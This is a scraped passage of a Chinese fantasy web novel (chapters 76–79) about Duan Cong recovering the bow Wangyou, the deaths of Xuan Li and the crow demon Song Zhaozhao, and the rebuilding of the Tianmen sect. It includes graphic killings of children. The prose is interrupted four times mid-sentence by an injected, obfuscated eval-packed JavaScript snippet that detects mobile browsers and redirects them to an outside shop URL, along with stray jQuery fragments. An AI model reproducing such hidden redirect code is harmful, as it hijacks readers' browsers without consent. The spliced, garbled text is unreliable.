她们飞过南海,此时明月已升起,南海的鲛人又浮出水面,坐在礁石上,用贝壳烧制成的小梭子捕捉月光,将之攒为丝线,然后用丝线一根一根编织出瑰丽的鲛锦。 他们已经织了一千余年了,或许,对于自己所爱做的事,是怎样也不会觉得乏味和疲惫的。 极地已经和当年大有不同了,结界消失,冰雪消散,气候变得温暖,四季如春。 如今,这里是一个开放的、自由的地方。 段匆进入极地,里面男男女女,有老有少,有人有妖,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545926|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家一起对酒当歌,气氛十分融洽。在某个瞬间,段匆甚至觉得又回到了当年。 “大当家,有新人来了!” 一个面容英气的紫衣女子懒洋洋应了一声,对段匆她们说:“欢迎欢迎,请自便吧。” 她看似轻松自在,但段匆却知道,在如今人与妖还是纷争不断的时候,构建出这样一个祥和融洽的地方,可是要花费不少心血的。她对这女子生出几分敬佩之意,拱手道:“大当家,我们来,是想找一件东西。” “啊?”宣离那手下瞪眼道:“什么东西?你都没告诉我!” “这不就告诉你了么?”段匆道:“是能制服宣离的东西。” 紫衣女子道:“那是?” “一张弓。” 段匆回忆着说:“弓臂是用一根竹子一劈两半,弯曲而成。弓弦是用一只千年牛妖的牛筋所制,弹性十足。看起来有点粗糙简陋,但威力却十分的大。” 紫衣女子问大家道:“你们有谁见过?” 大家纷纷摇头,紫衣女子耸耸肩:“抱歉了,没有。” 段匆很是发愁。 这把弓是当年她在极地时所造的忘忧弓,那时她正处于法力的鼎盛时期,于是给忘忧弓中也灌了庞大的法力进去,足以打败宣离。 弓不比剑,剑即使有高强的法力,也要人剑合一,才能发挥出它的威力。可弓,只要拉的人有几分蛮力,能将箭射出去,便足矣发挥巨大的力量。 可是现在,忘忧弓不见了。 “那就肯定是谁将它拿走了呀,笨蛋,都过了一千多年了,你还指望它能安稳的放在原地?”那手下急的团团乱转:“现在可怎么办,我们打不过他,主子会杀了我的!” “你……”段匆微微睁大眼睛。 “干嘛!” “你的毛……掉了两根。” 原来这手下情急之下,来回转身,竟抖落掉了身上的两根黑色羽毛。 等等! 黑色羽毛?电光石火间,段匆想起什么,她凝神感知,这手下是只妖,而且是只……乌鸦妖。 乌鸦妖! “我想起来了,是你!” 是当年她和清灏在鹤都时遇到的那只乌鸦妖,宋昭昭! “哼,妖女,你才想起来。”这乌鸦妖不满道。 当年她本要杀了这只黑黑胖胖的乌鸦妖,但清灏为这小妖挡下了她的伞,她很是不解与烦乱,最后竟忘记去杀这小妖了。 没想到过了一千三百年,她们又再见了。 段匆记得,那时宋昭昭找她是为了报仇,清灏说过,宣离曾救过宋昭昭,是她的恩人。可是现在,她怎么反而背叛了自己的恩人,而要帮助起段匆来?段匆道:“你是不是有什么诡计?” “没有!绝对没有!”宋昭昭信誓旦旦:“你还是快想办法找你那弓吧,否则,主子他就要杀光天下人了!” 杀光天下人一时倒也不可能,天门宗虽沦陷了,可是还有其他的许多门派,比如逍遥派,还有许多没有门派、自己修行的捉妖师,比如当初遇到的陈道心前辈。他们若是团结起来,应当还是能抵挡住宣离的。 但不妙的一点是,宣离乃妖帝之子,如今人妖还在争斗中,若是宣离团结起所有对人族有杀戮之心的妖怪,那就不好了!或许,人间会像一千多年前一样,再次陷入人与妖的血战。 还是得找到忘忧弓,可是,忘忧弓究竟去哪儿了? 段匆十分着急,急着急着,灵光一现,想起了什么。 “随我去白帝城!” 宋昭昭叫道:“都过了一千多年了,哪里还有什么白帝城呀!” 也是,当年的城池,如今已被划分为一块一块的州县。段匆道:“那当年的白帝城如今是什么地方?” “陈塘。” “好,我们去陈塘!” 段匆放飞数只传音灵蝶,载着宋昭昭再度飞上了夜空。 79. 第76章 段匆划破自己的手指,一滴鲜血漂浮起来,她跟着这鲜血的指引,在陈塘上空寻寻觅觅,最终,鲜血浮在一座老宅子上方不动了,段匆御剑降落,来到了这座宅子前。 “就在这里面?” 月光下,宋昭昭站在宅子的门前,半信半疑。 段匆道:“反正当年那个人的后人是住在这里面的,至于忘忧弓,我们问问便知。” 为了节省时间,她们直接翻墙跳入宅子里。 这宅子十分老旧,屋檐上青色的瓦片已经褪色成一种素素的白色,墙壁也十分斑驳,但是,宅院里各个角落都收拾的十分整洁干净。 宅院正中,有一张石桌,上面放着几碟瓜果点心,这家子的人围绕着石桌而坐,一边吃点心瓜果,一边说说笑笑的闲聊,气氛十分和乐。 见到段匆和宋昭昭,他们都吃了一惊。 这几个人,有一对中年夫妻,两个五六岁的孩子,还有一个上了年纪的慈祥老妇,估计是孩子们的祖母。那中年男人忙起身,拱手问道:“不知二位,为何事来访?” “你们手中……有我的忘忧弓吗?”段匆问道,其实问出口心中已有了几分失望,这一家子人都没有修习过法术,可能根本不知道忘忧弓有什么用。 或许,她找错人了。 可是,那慈祥的老妇却站起来,神情颇为郑重,道:“你是?” 段匆试探着说:“我是……钟乐?” 与此同时,轰隆一声,宅子的大门倒塌。 宣离微笑着走进来。凉白的月光下,他额心的凤凰图腾更加鲜红,像是要滴出血来。他明明是在笑的,可是那笑,却不由让人毛骨悚然。 “阿乐,我找到你了。” 段匆大惊,他是怎么找到这里来的?她想了一会,突然环顾这地方:“这里……” 这里,是当年的九龙台所在的位置! 这地方与她渊源颇深,所以宣离来这里找她。而她因为寻找忘忧弓,也恰恰来了这里。段匆疾声道:“那弓,你们知道是不是!给我!” 那老妇愣了一下,然后步履慌张的往屋内奔去,宣离要去追,被段匆在身前拦住。宣离冷冷挥手,段匆被甩的飞起来、然后向后落去,不过,幸好她被宋昭昭接住了。 宣离一字一句:“宋昭昭,我以为,你是不会背叛我的。” 但原来,她也和他们一样。她也背叛他,抛弃他,与他对立,可是,他根本什么都没有做错!他没有! 老妇已经进屋,宣离微微一笑,电光石火间身形移动,掐住那个小男孩的脖子,将他高举了起来。 小男孩被吓到了,双脚扑腾,用力挣扎。可是宣离紧紧的掐着他,他根本无法摆脱。渐渐的,他的力气越来越弱,奄奄一息。 小女孩急的哭道:“哥哥!”又哀求道:“叔叔,叔叔你放了我哥哥!” 他们的父母,也俱是神色哀恸,泪光闪闪,那中年男人提议用他来替换小男孩,可是,宣离微笑着拒绝了。 “宣离你放手!” “主子,主子求你了,我知道你不是这样的人!” 可是,段匆和宋昭昭的反抗在宣离面前根本不值一提,他轻而易举的打伤她们。这时,那老妇手中捧着一把长弓出来了。段匆一眼就认出来,那就是她的忘忧弓! “我的稚儿!”那老妇看见院中景象,痛呼一声。 宣离诱哄道:“把你手中的东西给我,我就松手。” 小男孩几乎已经不再动了,老妇步履仓促的朝宣离走过去,段匆道:“不要……” 可是,她说的十分微弱,因为她的确没有能力阻止宣离。在来之前,她用传音灵蝶给逍遥派的终须臾前辈、陈道心前辈、还有百草道人他们都传了话,此时他们应该也在赶来的路上了,快一点快一点快一点…… 老妇走到宣离面前,双手捧着弓奉上,宣离像只破麻袋一般扔下小男孩,可刚要接过这弓时,老妇却忽然双手攥紧、将弓收回,紧紧的护在自己身下。 段匆见局势有变,立马跑过来抢弓,宣离已经神色一变,一手劈掉老妇的脑袋,嫌弃的踢倒她无头的尸体,伸手,要拿起弓。 可这时,地上的小男孩缓过一口气来,竟张口,死死咬住了宣离的手! 只听咯噔一声响,宣离捏断了小男孩的脖子,小男孩顿时变得软软的,张开了口,宣离将他甩出去。小女孩见状,大哭着冲向宣离,却被他一掌挥了出去,重重拍在墙壁上,当场气绝。 而此时段匆已握住弓的一端,顿感汹涌的法力汇聚在上面。 可是,宣离也握住了弓的另一端。 两人争抢中,那对中年夫妻相继大叫一声,一人拿一把菜刀,一人拿一只削尖的长棍,从背后捅入宣离腹中。 宣离手中一松,段匆已拿起弓,后退数步,将弦拉的飒飒作响,宣离甩开意图阻挡他的宋昭昭,飞身而来,一时间,段匆竟有些瞄不准他。 就在这时,从后面飞出数次十条捆妖索,绑住了宣离。 段匆如释重负:“你们来了!” 百草道人:“嘿嘿,小老儿来了!”他还带着蓬莱岛的那群妖怪,烙女蛇,蒙双氏,高山君,还有小鼠精们,那颗人面树无法移动,只得继续待在岛中。 妖怪们也都用力拖着一道铁链,拉住宣离。 陈道心笑呵呵:“小姑娘,又见面了。” “他快挣脱捆妖索了。”终须臾到底是位老前辈,宽袍大袖,须发全白,拂尘飘飘,一语就切中要点。 段匆瞄准,拉弦。 宣离突然大笑起来:“哈哈哈哈,哈哈哈哈哈哈!”他笑的太用力,眼泪都笑出来了:“钟乐,来啊,杀了我。” “来啊,就和许多年前一样。” “嗖”的一声,箭矢如流星射出。 宣离眼中的光华,变成了一潭毫无生机的死水。 他知道她会杀了他,可是,他多么期盼着,她能够有一秒的痛心,一秒的犹豫,一秒,哪怕就一秒。 就像他曾多么期盼着,她能够问他一句,当年,你到底是怎么活下来的,这么多年,你都在哪里度过?哪怕不是因为关心,哪怕是因为好奇。 可是,他知道她不会,从来都不会。 宣离闭上了眼睛。 预想中的痛感并没有到来。可,耳边又的的确确响起了妖丹碎裂的声音。 宣离睁开眼睛,在如水的月光下,看到一个黑色的影子挡在他身前。 那是宋昭昭。 “宋昭昭,你是有毛病吗!” 宣离不理解,是她放走钟乐,背叛了他,可是,此时却又是她替他挡住了那支法力强大、取人性命的忘忧箭。她到底是怎么想的,她的脑子不是正常人可以理解的! 段匆也不懂,这只乌鸦妖这是要干什么,她怔怔道:“你……你为什么?” “你答应过我一个要求。”宋昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一家之主倒下,顶梁柱塌了,那女人哀莫大于心死,服下了耗子药,虽被侥幸救了回来,但双眼无神,绝望至极。 宋昭昭本来觉得,这是个好机会,她想,如果她将钟乐杀死男人的实情告诉这个女人,那么这个女人就会对钟乐满心仇恨,进而,她就可以煽动这个女人去找钟乐报仇。 可是,慢慢的,事情变了味。 “我因为仇恨,假意对她们好,可她们却因为感激,真心待我好。粗茶淡饭,淡云流水,一不小心,就度过了一生。” 她送走白发苍苍的女人,在数十年后,又送走白发苍苍的两个孩子,可她自己,却还是原来的容颜,一分不变。那两个孩子,或者说,那两个老人,声音苍老,面带释然的微笑:“小姨,原来,你是妖怪啊。” 他们小时候,欢快的跟在她身后叫她小姨,如今他们已经这么老了,可却还是和小时候一样的唤她。 他们丝毫不怕她,带着释然和不舍的微笑,同她告别。 从此,乌鸦妖又失去了家,又只剩下了一个人。 在漫长的千年时光中,她曾不止一次的回念家的温暖。她想,他们进入了转世轮回,她虽认不出他们,但也许,上一个和她擦肩而过的人,就是他们。 “我不认识他们,可是我知道,他们就在这芸芸众生里。主子,对不起,我必须对付你,我不能让你伤害他们。” “对不起,主子,我也不知道,怎样做才能做的更好了……”乌鸦妖的声音越来越轻,宣离咆哮道:“你不许死!” 可是,乌鸦妖的元神已经开始消散。 80. 第77章 宣离抱着她,记忆回到很多很多年前。 那时,他们还未占领白帝城,他还未被妖帝召回,在人间,四处躲避拜鬼忧的追杀。一开始,母亲还怜爱他,愿意护着他。可是,兔子妖们都很嫌弃他,母亲带着他,也是一个拖累,于是在一个夜晚,母亲凝视熟睡的他许久,最后亲了一下他的脸颊,离开了。 母亲再也没有回来,只剩下他一个人。 他继续逃避拜鬼忧的追杀,有一日,无意之间,他看到一群妖怪在欺负一只乌鸦妖,他立马想到被拜鬼忧欺负的自己,冲上前去,亮出凤凰真身,吓跑了他们。 那只被欺凌的乌鸦,黑黑的,丑丑的,羽毛被扯的七零八落。 宣离说:“他们为什么欺负你啊?” 乌鸦妖抽抽噎噎:“我、我害死了我爹我娘。” 因为它贪吃人间的一串糖葫芦,多看了几眼,她爹她娘便飞去为她取一支糖葫芦来。可是,没人想到,那里,有一个盯着他们多时的修士。 乌鸦妖后悔过很多次,为什么自己就那么倒霉,可是,谁也不能给出她答案。有些事,就是那么荒唐,荒唐到像是老天爷给她开了一场玩笑。其他的妖怪认为她是个灾星,开始排挤她、欺凌她。 宣离联想到自己,恶狠狠的说:“他们若是再欺负你,你就告诉我,我杀了他们!” 乌鸦妖眼前一亮,抽搭着说:“谢谢。” 她的肚子忽然“咕”地响了一声,宣离说:“你饿了?” 他也看出来,她被他们欺负,已经很久没有吃过东西了。他带她去人间偷了一堆小丸子来吃。 吃完很久后,宣离见她还在咀嚼着什么。他说:“你又在吃什么?” 乌鸦妖说:“丸子啊!”她指着自己鼓鼓的腮帮子:“我藏了好多,有空的时候,慢慢回出来吃。” “……”宣离无言以对。 其实,宣离根本没指望着她会真的报答他什么,毕竟他给予她不过那么小小的恩惠。 可是,在数百年漫长的年月中,他被衡阳做成活宠、被当做奴隶,折磨的死去活来,是她,得知他还未死的消息后,伤痕累累的找到他、穷尽一切力量救了他。 这么多年,他满心绝望,不甘,沉沦,在圆月下他如一个疯子一般流泪,大吼,恨钟乐,求钟乐……他想要的,不过是那么一点点的爱。 但是从来没有人,从来都没有! 他曾以为他找到了,但是原来不过一场骗局! 那时,很多次,他自顾自的沉浸的自己的爱恨中,他忽略了,他的身后,永远有一道黑色的影子,平凡,普通,却坚韧,在漫长的孤独的年月中,不离不弃的,陪伴着他。 “原来,我早就已经……得到过了。” 段匆一怔,听得宣离大彻大悟般,笑着重复说:“原来,我早就已经,得到过了。” 一只香囊从他手中掉落。 在场众人倒吸一口凉气—— 明月皎皎,宣离自碎妖丹。 他至死,没有再看段匆一眼。 - 他们将宣离和乌鸦妖葬在了一座青山上,有蓝天白云,绿树依依,鸟语花香。 夕阳西下,段匆将两丛小白花放在他们坟边。 一面恩情,一面亲情,宋昭昭已经兼顾的很好了。 而宣离,段匆看着手中那只香囊。 本来,它的做工应该是很精致的,可是,太久了,真的太久太久了。一千多年,香囊早已褪色、泛白、老旧。若不细想,段匆都快忘了这只香囊最初是从何而来,可是,这一千多年,宣离还一直将它带在身侧。 “对不起。”段匆将香囊轻放在宣离坟边,只能说的出这一句。 她很后悔,当初年少轻狂,选择了那样的方式接近妖帝、进入白帝城。如果,再给她选择一次的机会,她一定不会再那样做。 大婚是一场彻头彻尾的错误,错误的时间,错误的地点,错误的立场,错误的人。 而此时,一切的爱恨,都随着宣离的死去,埋入了宁静的地底。 再回到陈塘,九龙台的位置上,那座老宅静静伫立着,只是,宅子中的一家人都已经因为那把弓而死去了。 百草道人指挥着小鼠精们为这一家人换衣服,擦干他们身上的血迹。 他十分惋惜的道:“这一家子,也是好人啊。” 陈道心叹息之余,爱不释手的拿着那把忘忧弓,问段匆道:“你怎么知道,他们会有这么一把弓呢?” 段匆轻声道:“因为,这是我交给他们的。” 她以为忘忧弓在极地,但他们却并没有找到,于是她又再次认真的想了想,然后,她想起来了。这把弓,她曾让一个人帮她去保管。 那一日,是白帝城的第三场屠杀。那一日,也是段匆从神坛跌落到地狱。 在她将死之前,衡阳的命令传来,让他们放了她。 于是,那些人悻悻然的,都走了。 她身后拖着一道血迹,慢慢的从九龙台上爬下来,爬到李刻青的尸体边,那时,她还不知道猫妖有九条命,还不知道他死前说的是“我会回来的”,她心中一片绝望,哀莫大于心死。 后来,她想,不管怎么样,她要带着他先回蓬莱,她再也不要待在这个地方。 可是,她失血过多,身上道道伤口让她痛苦欲绝,根本没有半点力气。 这时,她闻到了一股饭菜香味。 原来是一个大娘,方才,在人群中看着她遭受痛苦与屈辱,十分不忍。 大娘将一碗热气腾腾的红烧肉和两个雪白的馒头放在她面前,欲言又止,最后,只叹息道:“闺女,吃吧。” 她却连吃饭的力气都没有了。 后来,天渐渐的黑了,月亮和星星都很黯淡。 这时,她听到一个“邦邦邦”的声音,好像棍子敲击地面。白帝城已经没有人再居住了,她不知这声音是谁发出。 慢慢的,夜色中,一个瘦瘦小小的人影走了过来。 原来是一个瘦的皮包骨头的乞丐。她的脸脏兮兮的,头发也乱乱的,打着一绺一绺的硬结。可是,一双眼睛却十分机灵,滴溜溜的转动着。 她流浪至此,本来饿的路都走不动,只能手中握一根长棍,借着长棍扶住自己。 此时,闻到了饭香,这乞丐的眼睛立马亮了。不过,她先是很聪敏的观察了一下周围,只见残垣断壁,血肉狼藉,唯一剩下的一个活人,也是满身伤痕。 于是,她放心了,扑到那碗红烧肉旁边,拿起上面雪白的馒头,狼吞虎咽起来。 不一会儿,她就风卷残云般吃光了这碗肉,心满意足的放下筷子,抹了抹油嘴。 本打算继续前进,可是,临走之前,她因为好奇心作祟,偷偷看了眼钟乐。这一看可不得了,她发现,钟乐竟然在哭。 她走南闯北,见过不少人哭,可是,她第一次见到有一个人哭的这么绝望。 没有哀嚎,没有哽咽,只有泪珠,静静的流过被鲜血模糊的脸颊。一点也不撕心裂肺,可是却莫名的让人心生怜悯和不安。 乞丐说:“哎,那个……那个不就吃了你一碗肉吗?你至于这样吗?” “哎!哎!” 可是,钟乐不答,只是摇摇头,泪水从毫无生机的眼睛中不停的流淌。 “哎,你真这么小气啊?……这这这,服了你了!” “就当我欠你一顿饭好了,你说吧,要怎么还你?” 其实,当时,钟乐真不是因为那个乞丐吃了她的饭而哭,可是,乞丐很坚定的这么认为,并且吵吵嚷嚷,她让那乞丐离开,乞丐反而不愿意。 乞丐说,就当她欠了钟乐的恩情,钟乐有什么事要做的,她还她就是了。 后来,钟乐实在被她烦的没办法了,钟乐说:“你看到这里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555824|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尸体和鲜血了吗?” 乞丐翻个白眼:“我又不瞎!” 钟乐说:“这都是我造成的,你不怕吗?” 乞丐却不在乎的挥挥手:“我浪迹天涯,什么奇葩残忍的事没见过,这算什么?” 最后,钟乐告诉这乞丐说,如果她一定要偿还这一顿饭的话,那么,去一个地方,那里叫做极地。极地中,有一把弓,叫做忘忧弓。找到忘忧弓,然后将它好好保管起来。或许有一天,钟乐需要用这把弓的时候,就会来找这乞丐。 乞丐奇怪的说:“就一把破弓?天底下那么多,为什么偏要走那么远的路,去找那把叫做忘忧的?” 钟乐道:“因为忘忧中,有极大的法力。” 当她失去法力的时候,忘忧将是她可以利用的最后一件武器。 乞丐还在嘀嘀咕咕,钟乐本来只是这样一说,并没有报多大的期望,于是也不在乎。 这时,那乞丐忽然道:“那要是我保管起来了,你以后想要,我该怎么找到你?” 钟乐摸到腰间楚欢送给她的那枚平安扣,却发现平安扣不知何时被弄碎了,当不了信物。 但这时钟乐倒发现,她的法力回来了。 于是钟乐带点敷衍的,将自己的一滴鲜血点在乞丐眉心,融入这乞丐的骨血,道:“你的身体里有了我的血,等我想找到你的时候,就自然能通过血引的术法找到你。” 乞丐啧啧称奇,摸着眉心走了。 段匆没想到,九龙台下的一饭之恩,当年那乞丐竟真的遵守了诺言。 一千多年了,乞丐已经死去,但是钟乐那滴血,却随着乞丐的血脉一代一代流传了下来。一千多年了,乞丐的后人们,竟也当真一直未忘记过乞丐的嘱咐。他们留在这里,他们记住了她的名字,他们一直在等她。 “可赞,可叹。”终须臾道,继而,同众人告别:“妖帝之子既已死,那么,老道也该回去了。” 他想了想,又道:“老道曾经,有一个徒弟,他认为妖物可以被教化。但那时我告诉他,人,永远不能对妖物抱有幻想。如今从那乌鸦妖看来……” 陈道心哈哈笑道:“你怕是错喽!” 终须臾微微一笑,沉思着离开。 一切好像也都结束了,陈道心告别道:“我也该走了。”他手中还拿着忘忧,双眼闪闪发光,欲言又止。 段匆微笑道:“前辈,这把弓就送给你吧。” 陈道心等的就是这句话,得了弓,立马欢天喜地。 待陈道心离开,百草道人搓搓脸,很发愁的说:“他他他……那小子不会真死了吧?” 段匆摇摇头:“没有。” 那些尸体中,并没有她师父、大师兄、有容师姐、宁芙师妹、还有李刻青。宣离大概还是有顾忌,知道这些人,与她最为亲近,于是留了一手。 但他杀了天门宗其他人,同样不可饶恕。 无论如何,他都已经死了,一切的恨,一切的爱,都终止在那一方小小的坟墓了。 “百草老儿。” 身后有个熟悉的声音传来。 段匆定了一下。 百草道人见李刻青没事,放下心来,乐呵呵的道:“小老儿就先回蓬莱了。” 他一转身,一群妖怪们都跟着他动了起来。其中,不乏有好些十分不友好的瞪着段匆,但百草道人在此,他们也都不好做什么,乖乖顺顺的跟着百草道人走了。 天色又渐渐的黑下来了,明月皎洁,群星灿灿,因当初在蓬莱岛的杏林中夜以继日的修炼,于是猫妖身上沾染了一股挥之不去的淡淡杏花香,空气,也随之暗香浮动。 他站在原地,青衣被微风吹的徐徐飘动,微笑着等待钟乐。 段匆转过身来,相视片刻,低下头,有些疲惫,却又很是久违的,笑了。 一千三百年风云聚散,悲欢离合,他来的不是最早,却是最巧。 81. 第78章 天门宗重新开始广纳弟子。 重明被杀,周丁异成为新一代掌门人。 这样一刻,周丁异曾也是期待过的,他觉得自己也并不比重明逊色太多嘛。 只是,如今他终于成了掌门人,却无一丝欢欣,只有重担在身的沉甸甸的感觉。 同门的尸体被掩埋,残垣断壁被重新修整、焕然一新。从民间选拔来的小弟子面庞稚嫩、眼眸清澈,每个人都背着一把桃木剑,踌躇满志的望着巍峨磅礴的天门宗。 周丁异摸把山羊胡,关爱的拍了拍一个小弟子的肩膀,不无感慨:“一代新人换旧人,孩子,好好修炼吧!” 小弟子握着拳头,小脸上满是坚定:“我会的,掌门人!” 段匆心里很是歉疚,宣离之所以毁了天门宗,是因为对她的仇恨。说到底,是她连累了天门宗。可是,当她向周丁异请罪时,周丁异却连连摆手,吹胡子瞪眼道:“你叫我师父?我看,是我得叫你祖师奶奶啊!” 段匆哭笑不得:“师父啊,钟乐的故事早就已经是一千多年前了,这一世我既是段匆,那便一直都是段匆,我五岁时跟你来到天门宗,往后十多年,也一直跟在你身边修炼,难道我不该叫你一声师父吗?” 周丁异心想这倒也是,于是点点头,心安理得的受了。 段匆忽然想起来:“师父,我在天门宗修行十几年,你却一直不让我下山,也是因为那时候……您就觉察到了点什么吗?” 周丁异点点头。 当年他把她捡回山上,教她修行。 修着修着,他发现不对劲了: 这孩子吧,并不笨,也并不懒惰,相反,颇为机灵和勤奋,可是,她的法力却无论怎么修炼,都无法变得高强。 应该是哪里出了问题。可是,打量许久,他却发现不了这个问题究竟是什么。最后,只好用一个最妥善的法子,也即不让她下山,这样,就自然避开了所有可能的危险。 但后来,猫妖一事,天门宗的弟子们迟迟不还,他的宝贝儿子生儿也在其中。但又偏巧那时候,重明要他们为他护法,他无法离开。只得死马当作活马医,派她去擒拿猫妖了。 如今,那猫妖倒是擒拿回来了,只是…… 周丁异看一眼十三司刑柱下懒洋洋晒太阳的白猫,恨铁不成钢的叹道:“妖物猖狂、妖物猖狂啊!” 段匆也看一眼,嘿嘿笑道:“师父,人与妖,总不该一直水火不容下去吧。” 也是。周丁异长叹一声,心想,恐怕新的天门宗,和以往以杀妖为毕生使命的天门宗,要有所不同了。 也不知重明知道,会不会盛怒? 但若是不用屠杀,也可以让人与妖和平相处,那么重明看见的话,是否在不可置信过后,也会悻悻然的接受这一切? 周丁异微笑。重明已经成为过去了,往后,他们还得向前看,用不同的方法,来完成和重明当日一样的理想。 至于宣离屠杀天门宗,到底是不是段匆的错,这个问题,也没有什么回答的价值了。毕竟,天师钟乐已经是一千多年前的事了,如今他的徒儿,名为段匆。修炼刻苦,却法力平平。法力平平,却又志向远大,真是可笑的紧、又可爱的紧。 周丁异摸着山羊胡子,转身离去。 - 半年后,天门宗重新步入正轨。 不过,与以往不同的是,天门宗的理念发生了一点巧妙的变化:从今往后,他们除的不是妖,而是恶。恶的人,恶的妖。 这半年来段匆待在这里帮忙,如今一切都步入正轨,她也终于有空闲了。只是,人一闲下来,就好像很容易闲出事来。 比如,过往半年,因天门宗事务繁忙,她和宁芙各司其职,白日里碰面的机会不多,基本还能保持和平相处。而如今骤然有了空闲,就会发现,两人打照面的次数越来越多。见的多了,也自然一个看一个不顺眼,开始争吵起来,甚至、动起手来。 段匆现在简直越来越讨厌宁芙。 她从来没有得罪过她,可是,她却处处针对自己:在小村子里时给自己下毒,对付狐妖时和狐妖达成协议,在一边毫不帮忙,只是看乐子,还有,当初向重明揭发她杀了人族捉妖师…… 虽都没有要了她的命,可桩桩件件累积起来,还是十分让人厌恶的。 终于,在又一次和宁芙互相瞪白眼后,段匆咬牙切齿的嚷嚷说:“当初宣离怎么不把你也一起杀了!你是什么对我很重要的人吗!” 宁芙一怔,眼里像有泪光,手掌刹那挥出,竟是要往她脸上打一巴掌。 段匆忙避开,叫道:“若我还有当年的法力,你怎么可能有机会这样在我面前叫嚣!” 宁芙收回手,冷笑道:“你就是个毒妇。” “那你一定比我更甚。”段匆反击。 宁芙嘲讽道:“你以为你很厉害?你以为你是做出了什么名垂千古之事的大人物?你错了。这一千多年来,人与妖互相争斗、屠杀,都是拜你所赐,否则,我们早就可以完全控制住它们。你以为你仁慈?你以为你救了很多条无辜的性命?其实,正是因为你的仁慈,有更多条无辜的性命白白牺牲!” 段匆转身就走,嘴里嚷“懒得和你说话”,可心里却是真的被她说的有几分心虚。 晚霞灿烂,金光遍洒,段匆摇摇头,努力忘掉宁芙的话。 她去找有容师姐下棋,下了三盘,输了三盘,其中有一盘,她还死活赖了好几个子儿,不料最终还是没下赢。 苏有容将黑白棋子一颗颗收好,叹着气摇头:“师妹,你的棋术,比之猫妖可差远了。” 这半年李刻青一直待在天门宗上,闲暇时间就来找苏有容下棋。两人似乎很是投缘,一盘棋一下就是半晚,有说有笑,津津有味。苏有容也好像很是喜欢李刻青。 当然,段匆也曾观摩过他们下棋,只不过她棋艺太差,落子前又懒得思考,看他们两个拿着黑白棋子仔细盘算斟酌的模样,看不懂,就开始犯困,往往一盘棋到了中途,她就打着呵欠去睡觉了。 段匆道:“那他和师姐,你们两个谁更厉害?” 苏有容想一想,笑道:“我自然想说是我,不过可惜,是他。” “但,我只下了二十多年的棋,他却下了千百年。若是也给我千百年的时间,我未必会逊色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们找了一颗大树的一个枝桠,白猫将身子团成小小的一团,闭上眼,睫毛扑簌扑簌,也不知到底有没有睡着。 终于,他自己也修成了一只大妖。 肤如雪,发似墨,用一根带子松松垮垮的束在背后。他总是笑吟吟的,保有猫的习性,优雅,慵懒,还带点妖孽和狡黠。 他找到当年欺负他的大妖,将那妖封在一口灵铁铸造的棺材中,沉入东海。 妖有妖丹,比人难死,可是,这样耗着耗着,也终归会死。 那只大妖一次次的醒转,可是,无法破开灵铁的禁锢,于是最终又一次一次的死去。 在这样的折磨中,那妖终于死了。 就在这时,魂魄终于攒够了,他取出一瓣妖丹,顾不上疼痛,以这缕魂魄为载体,化出了她的第一世血肉。一缕魂本是无法入轮回的,但他用这样的方式强行让她进入了轮回。 身后,一个缓缓的脚步声响起。 82. 第79章 “第一世,你是一个小山村中屠户的女儿。这一世,我并无意欺瞒,我甚至盼不得你能立刻恢复记忆。待你长大后,我找到你,告诉你,你的前世曾是钟乐,我让你看到了尘缘镜中你的一生。” 段匆一怔,看向此刻的尘缘镜,果然,第一世,她是屠户的女儿,每日勤勤恳恳的上山割猪草,将屠场里的一群猪养的白白胖胖。 后来,得知爹娘要将她辛苦喂大的猪崽们杀掉,她哭的一把鼻涕一把泪,拦着他们不许杀。 爹娘说,不杀的话,就没有钱给你买新衣服了,也就吃不到香喷喷的猪肉包子了。 啊?她为难许久:那、那杀吧! 白天她帮着父母杀猪、卖肉,晚上,一家人其乐融融的坐在一起吃晚饭,日子过的单纯而快乐。就在这时,来了一个身着青衣的男人。 “看到过往后你一言不发,第二日我找到你,你将平日里割肉的那把刀扎在我肩膀上,泪流满面的说,你恨我。” “你没法和以前一样、继续无忧无虑的做个屠户的女儿,可是,你也没法再做回曾经的钟乐。你只有一缕魂魄,修炼一生,也注定仍旧法力微弱。你无法接受这样的自己。” 段匆收起了尘缘镜,不想再亲眼目睹当时的景象。 她问:“后来呢?” 明月皎洁,李刻青朝她走近一步,道:“后来,你还是跟着我离开了那个村子。你决心要除尽世上一切的恶,完成你上一世未完成的夙愿,可是,你却没有了能力,你觉得你在仰仗我。我们游历天下,相伴一生,却是相对无言。” 所以,后来的每一世,他决定,不再让她看到那些过往。 人的一生,不过短短百年,过的开心便好,那些红尘旧事,又何必非要记起来呢? 段匆一时有些感慨。 